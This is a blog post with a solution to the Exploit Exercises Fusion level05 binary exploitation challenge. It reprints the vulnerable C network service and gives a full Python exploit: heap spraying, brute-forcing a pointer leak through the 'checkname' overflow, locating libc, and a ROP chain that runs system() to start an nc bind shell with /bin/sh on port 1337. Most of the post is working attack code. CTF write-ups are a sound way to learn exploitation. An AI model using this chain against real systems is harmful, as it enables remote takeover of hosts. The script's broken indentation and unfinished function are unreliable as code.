Exploit Exercise Binary Exploitation Fusion Level 05

Hello Crazy Hackers



Welcome Again To My Blog, Well.. well.. Friends, Today, I am going to share my solution for Exploit Exercise Fusion Level 05 Challenge. Before Continuing. I Just want to say "WT F! It was Insane for me!! But I Can't Believe it That I have done it". This Level Was Like A Hell For me. Complete Of Depression, Pain, Problems But Also Force You to Gathering More Knowledge. Good Luck!

Source Code



#include "../common/common.c"    

#include <task.h>

#define STACK (4096 * 8)

unsigned int hash(unsigned char *str, int length, unsigned int mask)
{
  unsigned int h = 0xfee13117;
  int i;

  for(h = 0xfee13117, i = 0; i < length; i++) {
      h ^= str[i];
      h += (h << 11);
      h ^= (h >> 7);
      h -= str[i];
  }
  h += (h << 3);
  h ^= (h >> 10);
  h += (h << 15);
  h -= (h >> 17);

  return (h & mask);
}

void fdprintf(int fd, char *fmt, ...)
{
  va_list ap;
  char *msg = NULL;

  va_start(ap, fmt);
  vasprintf(&msg, fmt, ap);
  va_end(ap);

  if(msg) {
      fdwrite(fd, msg, strlen(msg));    
      free(msg);
  }
}

struct registrations {
  short int flags;
  in_addr_t ipv4;
} __attribute__((packed));

#define REGDB (128)
struct registrations registrations[REGDB];

static void addreg(void *arg)
{
  char *name, *sflags, *ipv4, *p;
  int h, flags;
  char *line = (char *)(arg);
  
  name = line;
  p = strchr(line, ' ');
  if(! p) goto bail;
  *p++ = 0;
  sflags = p;
  p = strchr(p, ' ');
  if(! p) goto bail;
  *p++ = 0;
  ipv4 = p;

  flags = atoi(sflags);
  if(flags & ~0xe0) goto bail;

  h = hash(name, strlen(name), REGDB-1);
  registrations[h].flags = flags;
  registrations[h].ipv4 = inet_addr(ipv4);

  printf("registration added successfully\n");

bail:
  free(line);
}

static void senddb(void *arg)
{
  unsigned char buffer[512], *p;
  char *host, *l;
  char *line = (char *)(arg);
  int port;
  int fd;
  int i;
  int sz;

  p = buffer;
  sz = sizeof(buffer);
  host = line;
  l = strchr(line, ' ');
  if(! l) goto bail;
  *l++ = 0;
  port = atoi(l);
  if(port == 0) goto bail;

  printf("sending db\n");

  if((fd = netdial(UDP, host, port)) < 0) goto bail;

  for(sz = 0, p = buffer, i = 0; i < REGDB; i++) {
      if(registrations[i].flags | registrations[i].ipv4) {
          memcpy(p, &registrations[i], sizeof(struct registrations));
          p += sizeof(struct registrations);
          sz += sizeof(struct registrations);
      }
  }
bail:
  fdwrite(fd, buffer, sz);
  close(fd);
  free(line);
}

int get_and_hash(int maxsz, char *string, char separator)
{
  char name[32];
  int i;
  
  if(maxsz > 32) return 0;

  for(i = 0; i < maxsz, string[i]; i++) {
      if(string[i] == separator) break;
      name[i] = string[i];
  }

  return hash(name, strlen(name), 0x7f);
}


struct isuparg {
  int fd;
  char *string;
};


static void checkname(void *arg)
{
  struct isuparg *isa = (struct isuparg *)(arg);
  int h;

  h = get_and_hash(32, isa->string, '@');
  
  fdprintf(isa->fd, "%s is %sindexed already\n", isa->string, registrations[h].ipv4 ? "" : "not ");

}

static void isup(void *arg)
{
  unsigned char buffer[512], *p;
  char *host, *l;
  struct isuparg *isa = (struct isuparg *)(arg);
  int port;
  int fd;
  int i;
  int sz;

  // skip over first arg, get port
  l = strchr(isa->string, ' ');
  if(! l) return;
  *l++ = 0;

  port = atoi(l);
  host = malloc(64);

  for(i = 0; i < 128; i++) {
      p = (unsigned char *)(& registrations[i]);
      if(! registrations[i].ipv4) continue;

      sprintf(host, "%d.%d.%d.%d",
          (registrations[i].ipv4 >> 0) & 0xff,
          (registrations[i].ipv4 >> 8) & 0xff,
          (registrations[i].ipv4 >> 16) & 0xff,
          (registrations[i].ipv4 >> 24) & 0xff);

      if((fd = netdial(UDP, host, port)) < 0) {
          continue;
      }

      buffer[0] = 0xc0;
      memcpy(buffer + 1, p, sizeof(struct registrations));
      buffer[5] = buffer[6] = buffer[7] = 0;

      fdwrite(fd, buffer, 8);

      close(fd);
  }

  free(host);
}

static void childtask(void *arg)
{
  int cfd = (int)(arg);
  char buffer[512], *n;
  int r;
  

  n = "** welcome to level05 **\n";

  if(fdwrite(cfd, n, strlen(n)) < 0) goto bail;

  while(1) {
      if((r = fdread(cfd, buffer, 512)) <= 0) goto bail;

      n = strchr(buffer, '\r');
      if(n) *n = 0;
      n = strchr(buffer, '\n');
      if(n) *n = 0;

      if(strncmp(buffer, "addreg ", 7) == 0) {
          taskcreate(addreg, strdup(buffer + 7), STACK);
          continue;
      }

      if(strncmp(buffer, "senddb ", 7) == 0) {
          taskcreate(senddb, strdup(buffer + 7), STACK);
          continue;
      }

      if(strncmp(buffer, "checkname ", 10) == 0) {
          struct isuparg *isa = calloc(sizeof(struct isuparg), 1);

          isa->fd = cfd;
          isa->string = strdup(buffer + 10);

          taskcreate(checkname, isa, STACK);
          continue;
      }
  
      if(strncmp(buffer, "quit", 4) == 0) {
          break;
      }

      if(strncmp(buffer, "isup ", 5) == 0) {
          struct isuparg *isa = calloc(sizeof(struct isuparg), 1);
          isa->fd = cfd;
          isa->string = strdup(buffer + 5);
          taskcreate(isup, isa, STACK);
      }
  }

bail:
  close(cfd); 
}

void taskmain(int argc, char **argv)
{
  int fd, cfd;
  char remote[16];
  int rport;    

  signal(SIGPIPE, SIG_IGN);
  background_process(NAME, UID, GID); 

  if((fd = netannounce(TCP, 0, PORT)) < 0) {
      fprintf(stderr, "failure on port %d: %s\n", PORT, strerror(errno));
      taskexitall(1);
  }

  fdnoblock(fd);

  while((cfd = netaccept(fd, remote, &rport)) >= 0) {
      fprintf(stderr, "accepted connection from %s:%d\n", remote, rport);
      taskcreate(childtask, (void *)(cfd), STACK);
  }

  

}

Hint



Even more information leaks and stack overwrites. This time with random libraries / evented programming styles :>

Vulnerability Type Stack
Position Independent Executable Yes
Read only relocations No
Non-Executable stack Yes
Non-Executable heap Yes
Address Space Layout Randomisation Yes
Source Fortification Yes

Exploit Code.

#!/usr/bin/python
import socket
import struct
import time
import telnetlib
import string
import sys
from struct import pack

# Configuration
v = ('127.0.0.1', 20005)




CMD = 'A'*20
HEAPDUMP = CMD
HEAPDUMP += 'A'*(400-len(CMD)) #
HEAPDUMP += '\x04'



#exit(0)
# Important Variables []

FD = 0
ARGU= 0
LIBC= 0

if '127.0.0' in v[0]:
 print '[*] Using local settings'
 TIMEOUT = 0.1
 SPRAYTIME = 0.00001
else:
 TIMEOUT = 0.3
 SPRAYTIME = 0.0001

# create connection
def connect(IP, PORT):
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.connect((IP, PORT))
 return s

# recv bytes
def recv(s, bytes):
 s.settimeout(TIMEOUT)
 try:
  r = s.recv(bytes)
 except Exception as e:
  r = ''
 return r

# send bytes
def send(s, data, listen=False):
 s.send(data+'\n')
 if listen:
  return recv(s, 1024)
 return False


# checkname
def check(s, data, listen):
 return send(s, 'checkname '+data, listen=listen)


# addref function
def add(s, data):
 send(s, 'addreg '+data+ ' 64 1.1.7.1')
 return send(s,'checkname '+data)

# isup
def isup(s, data):
 s.send('isup {}\n'.format(data), False)
 return




"""
 Start Addr   End Addr       Size     Offset objfile
 0x8f94d000 0xb764d000 0x27d00000          0        
 0xb764d000 0xb768f000    0x42000          0        
 0xb768f000 0xb7805000   0x176000          0       /lib/i386-linux-gnu/libc-2.13.so
 0xb7805000 0xb7807000     0x2000   0x176000       /lib/i386-linux-gnu/libc-2.13.so
 0xb7807000 0xb7808000     0x1000   0x178000       /lib/i386-linux-gnu/libc-2.13.so
 0xb7808000 0xb780b000     0x3000          0        
 0xb7815000 0xb7817000     0x2000          0        
 0xb7817000 0xb7818000     0x1000          0           [vdso]
 0xb7818000 0xb7836000    0x1e000          0       /lib/i386-linux-gnu/ld-2.13.so
 0xb7836000 0xb7837000     0x1000    0x1d000       /lib/i386-linux-gnu/ld-2.13.so
 0xb7837000 0xb7838000     0x1000    0x1e000       /lib/i386-linux-gnu/ld-2.13.so
 0xb7838000 0xb783e000     0x6000          0       /opt/fusion/bin/level05
 0xb783e000 0xb783f000     0x1000     0x6000       /opt/fusion/bin/level05
 0xb783f000 0xb7842000     0x3000          0        
 0xb8110000 0xb8131000    0x21000          0           [heap]
 0xb8131000 0xbf873000  0x7742000          0           [heap]
 0xbf883000 0xbf8a4000    0x21000          0           [stack]

"""


# heap spray
def spray(s, num=0x7c685):
 print '[+] Spray Started. '
 print '[+] Please wait. Minimum Time : 50 sec | Maximum : 140+ sec'
 for i in range(num):
        time.sleep(SPRAYTIME)
        isup(s, HEAPDUMP)
 print '[+] Spray End..'
 return





# Finding File Descriptor 
def find_fd(s):
 print '[*] This Process Can Take Nearly 0-60 Sec.'
 rc2 = 0
 rc3 = 0
 rc1 = check(s, 'A'*20, True)
 if rc1:
  print '[+] Process Started.'
  print rc1
 else:
  print '[+] Server not Responding.'
  exit(0)
 for i in range(0xb5010101, 0xb501ffff):

  if (('\n' in struct.pack('I', i)) | ('\r' in struct.pack('I', i)) | ('@' in struct.pack('I', i)) | ('\x00' in struct.pack('I', i))):
   continue
  #sys.stdout.write('\r [+] Trying : {}'.format(hex(i)))
  #sys.stdout.flush()
  #i = 0xb601328c
  rc1 = check(s, 'A'*32+struct.pack('I', i), True)
  print '[+] Trying : ', hex(i), rc1
  #exit(0)
  if rc1:
   print '[+] May We Find It. Let me conform it.', hex(i)
   rc2 = check(s, 'B'*32+struct.pack('I', i), True)
   rc3 = check(s, 'B'*32+struct.pack('I', i), True)

   if (rc1 and rc2 and rc3):
    print [struct.pack('I', i)], hex(i)
    if raw_input('[+] Press Enter To Find Another One Or Type [Y] : '):
     return i
 return 0

# get libc address
def adjust(s, g, i):
 return int(((i >> 4) << 4)+0x42000) # < ! Maybe here --> hex(((i >> 12)<< 12)+0x42000)


# leak data analyser
def dumpcollect(s, g, ARGU, LIBC):
 offset = 4
 while True:
  i = g+offset 
  # Conditions To Avoid Bad Characters
  if (('\n' in struct.pack('I', i)) | ('\r' in struct.pack('I', i)) | ('@' in struct.pack('I', i)) | ('\x00' in struct.pack('I', i))):
   offset += 1
                        continue
  if (LIBC!=0):
   return (ARGU, LIBC)

   
  rc = check(s, 'A'*32+struct.pack('I', g)+struct.pack('I', i), True)
  if rc:
   rc = rc.replace(' is not indexed already\n', '')
   if (('taskmain' in rc) or ('skmain' in rc) or ('main' in rc)):
    print "[+] Leak Address : ",[struct.pack('I', g+offset)]
    print "[+] Leaked Data  : ",[rc]
    LIBC = adjust(s, g, i)
    print '[+] Libc Address Detected : ', hex(LIBC)
    print('[+] Congrats. Libc Found')
    if 'y' in raw_input('[+] Find Again [y/n] : '):
     LIBC = 0
    print '[+] Current ARGU Address : ', hex(ARGU)

   elif ((CMD in rc) and (not ARGU)):
    print [struct.pack('I', g+offset)]
    print [rc]
    ARGU = i
    print '[+] CMD Address : ', hex(ARGU)
    print('[+] Congrats. CMD Address Detected.')
   else:
    if len(rc):
     offset += len(rc)
    else:
     offset += 4
 return (0, 0)


# open /bin/sh
def opensh(libc, ptr, ret):
 r = ''
 r += struct.pack("I", libc + 0x3cb20) # system
 r += struct.pack("I", ret)
 r += struct.pack("I", ptr) # "/bin/sh"
 return r


# Open bind shell : port 1337
def openncshell(libcbase):

 p = ""
 p += pack("<I", libcbase + 0x000e0097) # pop %ecx | pop %ebx | ret
 p += pack("<I", libcbase + 0x00178020) # @ .data
 p += pack("<I", 0x42424242) # padding
 p += pack("<I", libcbase + 0x000238df) # pop %eax | ret 
 p += "/bin"
 p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret

 p += pack("<I", libcbase + 0x000e0097) # pop %ecx | pop %ebx | ret
 p += pack("<I", libcbase + 0x00178024) # @ .data + 4
 p += pack("<I", 0x42424242) # padding
 p += pack("<I", libcbase + 0x000238df) # pop %eax | ret
 p += "/nc."
 p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret

 p += pack("<I", libcbase + 0x000e0097) # pop %ecx | pop %ebx | ret
 p += pack("<I", libcbase + 0x00178028) # @ .data + 8
 p += pack("<I", 0x42424242) # padding
 p += pack("<I", libcbase + 0x000238df) # pop %eax | ret
 p += "trad"
 p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret

 p += pack("<I", libcbase + 0x000e0097) # pop %ecx | pop %ebx | ret
 p += pack("<I", libcbase + 0x0017802c) # @ .data + 12
 p += pack("<I", 0x42424242) # padding
 p += pack("<I", libcbase + 0x000238df) # pop %eax | ret
 p += "itio"
 p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret

 p += pack("<I", libcbase + 0x000e0097) # pop %ecx | pop %ebx | ret
 p += pack("<I", libcbase + 0x00178030) # @ .data + 16
 p += pack("<I", 0x42424242) # padding
 p += pack("<I", libcbase + 0x000238df) # pop %eax | ret
 p += "nal "
 p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret

 p += pack("<I", libcbase + 0x000e0097) # pop %ecx | pop %ebx | ret
 p += pack("<I", libcbase + 0x00178034) # @ .data + 20
 p += pack("<I", 0x42424242) # padding
 p += pack("<I", libcbase + 0x000238df) # pop %eax | ret
 p += "-ltp"
 p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret

 p += pack("<I", libcbase + 0x000e0097) # pop %ecx | pop %ebx | ret
 p += pack("<I", libcbase + 0x00178038) # @ .data + 24
 p += pack("<I", 0x42424242) # padding
 p += pack("<I", libcbase + 0x000238df) # pop %eax | ret
 p += "1337"
 p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret

 p += pack("<I", libcbase + 0x000e0097) # pop %ecx | pop %ebx | ret
 p += pack("<I", libcbase + 0x0017803c) # @ .data + 28
 p += pack("<I", 0x42424242) # padding
 p += pack("<I", libcbase + 0x000238df) # pop %eax | ret
 p += " -e/"
 p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret

 p += pack("<I", libcbase + 0x000e0097) # pop %ecx | pop %ebx | ret
 p += pack("<I", libcbase + 0x0017803f) # @ .data + 32
 p += pack("<I", 0x42424242) # padding
 p += pack("<I", libcbase + 0x000238df) # pop %eax | ret
 p += "/bin"
 p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret

 p += pack("<I", libcbase + 0x000e0097) # pop %ecx | pop %ebx | ret
 p += pack("<I", libcbase + 0x00178043) # @ .data + 36
 p += pack("<I", 0x42424242) # padding
 p += pack("<I", libcbase + 0x000238df) # pop %eax | ret
 p += "//sh"
 p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret
 
 p += pack("<I", libcbase + 0x000328e0) # xor %eax,%eax | ret
 p += pack("<I", libcbase + 0x0014a0df) # inc %ecx | ret
 p += pack("<I", libcbase + 0x0014a0df) # inc %ecx | ret
 p += pack("<I", libcbase + 0x0014a0df) # inc %ecx | ret
 p += pack("<I", libcbase + 0x0014a0df) # inc %ecx | ret
 p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret
 
 p += pack("<I", libcbase + 0x0003cb20) # system()
 p += pack("<I", libcbase + 0x000329e0) # exit()
 #p += '\xcc'*4
 p += pack("<I", libcbase + 0x00178020) # @ .data
 return p


def payload(esi, edi, libc, cmd):
 PAYLOAD = 'A'*44
 PAYLOAD += openncshell(libc)
 PAYLOAD += ''
 print [PAYLOAD]
 if ('\r' in PAYLOAD) or ('\n' in PAYLOAD) or ('@' in PAYLOAD) or ('\r' in PAYLOAD):
  print '[+] Ohh Man... I think This Payload will Not work because of NULL characters In Address '
  raw_input('[*] Continue... ')
 return PAYLOAD


if __name__ == '__main__':
 if 'spray' in sys.argv:
  print '[*] Spray: ', [HEAPDUMP]

  raw_input('[+] Spary.. Now.')
  print '[+] Calm Down.. Process Take Time To Conform That Server Doesnt Crash During Spray.'
  s = connect(*v)
                time.sleep(1)
                if not recv(s, 1024):
                        print '[+] Server Is Not Responsing.,'
                        exit(0)
  else:
   print '[+] I Think Server Is Ready To Exploit.'
  # Engage Spray
  spray(s)
  s.send('quit\n'*2)
  print "[+] I think... We done it."
  t = telnetlib.Telnet()
  t.sock = s
  t.interact()
  exit(0)

 elif 'crash' in sys.argv:
  raw_input('[+] Want To Crash.. Restart.')
                s = connect(*v)
                print check(s, 'A'*50, True)
                t = telnetlib.Telnet()
                t.sock = s
                t.interact()
                s.send('quit\n'*2)

 elif 'interact' in sys.argv:
                raw_input('[+] Interactive..')
                s = connect(*v)
  time.sleep(1)
  c = recv(s, 1024)
  if not c:
   print '[+] Server Is Not Responsing.,'
   exit(0)
                else:
   print c
                        print '[+] I Think Server Is Ready To Exploit.'

  print '[+] Telnet Engaged..'
  t = telnetlib.Telnet()
  t.sock = s
  t.interact()
  s.send('quit\n'*2)



 elif 'leak' in sys.argv:
                raw_input('[+] Exploiting..')
                s = connect(*v)
  time.sleep(1)
  c = recv(s, 1024)
  if not c:
   print '[+] Server Is Not Responsing.,'
   exit(0)
                else:
   print c
                        print '[+] I Think Server Is Ready To Exploit.'

  # Find File Descriptor
  print '[+] Finding FD'
  g = FD or find_fd(s)

  if not g:
   print '[+] Sorry File Descriptor Not Found'
   exit(0)

  print '[+] FD Selected : ', hex(g)
  raw_input('[+] Press Enter To Second Stage.')
  print '[+] Addresses Extraction Started.'
  ARGU, LIBC = dumpcollect(s, g, ARGU, LIBC)
  if (ARGU and LIBC):
   print '[+] Data Leak Face Complete.'
   print '[-] Information Conformation [-]'
   print '\t[+] FD  Address  : ', hex(g)
                        print '\t[+] Libc Address : ', hex(LIBC)
                        print '\t[+] Argu Address : ', hex(ARGU)

  else:
   s.send('quit\n'*2)
   exit(0)
  esi = g
  cmd = ARGU
  libc = LIBC
  edi = 0xb6010101
  data = payload(esi, edi, libc, cmd)
  check(s, data, False)
  raw_input('[*] Want To Close This Pipe.')
  s.close()

 else:
  print '[+] Pass Argument Like : leak, spray, crash'


def start(args):

 # Connection Section
 s = connect(*v)
 t = telnetlib.Telnet()
 t.sock = s
 time.sleep(1)
 print recv(s, 1024)
 PAYLOAD = 'A'*32
 PAYLOAD += struct.pack('I', 0xba010101) # ESI
 PAYLOAD += '' # EDI
 PAYLOAD += '' # EBP
 PAYLOAD += '' # EIP
 PAYLOAD += ''
 print [check(s, 'checkname '+PAYLOAD, True)]
 t.interact()

If You can't Understand This Exploit, Then You victory will be meaningless. Do Hard Work!


Share this

Related Posts

Previous
Next Post »